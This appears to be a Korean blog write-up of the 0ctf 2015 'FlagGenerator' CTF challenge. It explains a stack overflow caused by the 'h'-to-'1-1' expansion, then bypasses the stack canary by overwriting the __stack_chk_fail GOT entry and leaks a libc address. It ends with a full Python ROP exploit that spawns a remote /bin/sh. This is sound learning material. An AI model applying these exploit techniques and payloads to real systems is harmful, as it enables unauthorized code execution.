티스토리 뷰
0ctf 2015 – FlagGenerator (250pt) write-up
1. 문제
1. Flag 입력
2. Flag를 대문자로
3. Flag를 소문자로
4. 비슷한 모양의 숫자가 있는 알파벳들을 변경
5. Flag를 0ctf{Flag} 형태로 변경
6. Flag 출력
7. 프로그램 종료
60초가 지나면 프로그램 종료
보호기법
ASLR, NX, SSP
2. 취약점
int __cdecl Leetify_80488C6(char *dest) { char *v1; // eax@3 char *v2; // eax@4 char *v3; // eax@5 char *v4; // eax@6 int v5; // ST14_4@6 int v6; // eax@6 char *v7; // eax@7 char *v8; // eax@8 char *v9; // eax@9 char *v10; // eax@10 char *v11; // eax@11 char *v12; // eax@12 char *v13; // eax@13 char *v15; // [sp+14h] [bp-114h]@1 char *i; // [sp+18h] [bp-110h]@1 char src; // [sp+1Ch] [bp-10Ch]@1 int v18; // [sp+11Ch] [bp-Ch]@1
v18 = *MK_FP(__GS__, 20); v15 = &src; for ( i = dest; *i; ++i ) { switch ( *i ) { case 'A': case 'a': v1 = v15++; *v1 = '4'; break; case 'B': case 'b': v2 = v15++; *v2 = '8'; break; case 'E': case 'e': v3 = v15++; *v3 = '3'; break; case 'H': case 'h': v4 = v15; v5 = (int)(v15 + 1); *v4 = '1'; *(_BYTE *)v5 = '-'; v6 = v5 + 1; v15 = (char *)(v5 + 2); *(_BYTE *)v6 = '1'; break; case 'I': case 'i': v7 = v15++; *v7 = '!'; break; case 'L': case 'l': v8 = v15++; *v8 = '1'; break; case 'O': case 'o': v9 = v15++; *v9 = '0'; break; case 'S': case 's': v10 = v15++; *v10 = '5'; break; case 'T': case 't': v11 = v15++; *v11 = '7'; break; case 'Z': case 'z': v12 = v15++; *v12 = '2'; break; default: v13 = v15++; *v13 = *i; break; } } *v15 = 0; strcpy(dest, &src); return *MK_FP(__GS__, 20) ^ v18; } |
Flag 중 숫자와 비슷한 모양의 알파벳이 변환되는 부분이다. 0x100 바이트의 src에 변환된 Flag를 저장하고 dest에 src를 복사하여 넣는다.
주목하여 볼 곳은 ‘h’, ‘H’ 문자를 만났을 때다. 다른 문자들은 1대 1 변환이 이루어지지만 ‘h’, ’H’의 경우는 ‘1-1’로 한 문자가 세 개의 문자로 변한다. 문자의 개수가 늘어나기 때문에 ‘h’, ‘H’를 다량 입력하면 src와 dest에 오버플로우를 일으킬 수 있다. 하지만 무작정 오버플로우를 일으킬 경우, SSP 보호기법에 의해 오버플로우가 감지되고 프로그램이 종료된다.
( ‘h’* 90 : 270개의 문자로 변환된다. )
__stack_chk_fail 함수를 우회할 방법을 먼저 찾아야 한다. src에 오버플로우를 일으키면 ret를 넘어 이 함수의 인자인 char *dest를 덮을 수 있다. 함수로 넘어간 인자를 조작하고 return 하기 전에 수행하는 strcpy(dest, &src)를 이용하면 원하는 주소에 원하는 값을 넣을 수가 있다. 여기서는 __stack_chk_fail 함수의 got에 puts함수의 plt를 썼다.
"1\n"+"\x10\x85\x04\x08"+"h"*90+"AA"+"\x1c\xb0\x04\x08"+"\n"+"4\n"
__stack_chk_fail함수가 puts함수로 변조된 후, esp에 들어있는 dest를 출력한 것을 확인 할 수 있다. 이제 ASLR을 우회하기 위해 라이브러리 내에 있는 어떤 함수의 주소를 유출시켜야 한다. ret를 pust함수의 plt로 바꾸고 인자로 puts함수의 got를 썼다.
"1\n"+"\x10\x85\x04\x08"+"a"*8+"\x10\x85\x04\x08"+"h"*85+"A"+"\x8f\x8d\x04\x08"+"\x1c\xb0\x04\x08"+"\x10\x85\x04\x08"+"aaaa"+"\x10\xb0\x04\x08"+"\n"+"4\n"
유출한 주소와 puts의 주소가 동일한 것을 확인 할 수 있다.
3. exploit
from socket import* from struct import* from time import* p = lambda x : pack("<L",x) up = lambda x : unpack("<L",x)[0] s = socket(AF_INET,SOCK_STREAM) s.connect(('localhost',7878)) ##################################### def until(s, string): data='' while string not in data: data += s.recv(1) return data ##################################### puts_plt = 0x08048510 puts_got = 0x0804b010 printf_plt = 0x080484b0 printf_got = 0x0804b028 stack_chk_fail_plt = 0x080484e0 stack_chk_fail_got = 0x0804b01c read_func = 0x080486cb blank_space = 0x0804b060 pr = 0x08048d8f ppr = 0x08048d8e print until(s,":") print "send 1\n" s.send("1\n") sleep(0.5) payload = p(puts_plt) payload += "a"*8 payload += p(puts_plt) payload += "h"*85 payload += "A" payload += p(pr) payload += p(stack_chk_fail_got) payload += p(puts_plt) payload += p(pr) payload += p(puts_got) payload += p(read_func) payload += p(ppr) payload += p(blank_space) payload += p(0x10101010) payload += p(read_func) payload += p(ppr) payload += p(stack_chk_fail_got) payload += p(0x10101010) payload += p(stack_chk_fail_plt) payload += "a"*4 payload += p(blank_space) payload += "\n" print "send payload\n" s.send(payload) print until(s,":") sleep(0.5) print "send 4\n" s.send("4\n") sleep(1) recvv = s.recv(1024) #print recvv puts_addr = up(recvv[338:342]) print "puts address : "+hex(puts_addr)[:-1] system_addr = puts_addr - 155104 #system = up(recvv[337:341]) - 53488 #print "system : "+hex(system)[:-1] print "system_addr : " + hex(system_addr)[:-1] sleep(0.5) s.send("/bin/sh\0\n") sleep(0.5) s.send(p(system_addr)+"\n") print "\nyahoooooooooooo\n\n" while True: cmd = raw_input('$ ') s.send(cmd+'\n') print s.recv(1024) s.close() |
'해킹 > CTF' 카테고리의 다른 글
[Plaid CTF 2016] unix_time_formatter (Pwnable 76 pts) write-up (0) | 2016.04.18 |
---|---|
[Plaid CTF 2016] plane_site (Misc 75pts) write-up (0) | 2016.04.18 |
[Plaid CTF 2016] sanity check (Misc 1pts) write-up (0) | 2016.04.18 |
13th 해킹캠프 미니 CTF write-up (0) | 2016.02.28 |
[Plaid CTF 2015] ebp (160pt) write-up (0) | 2015.07.04 |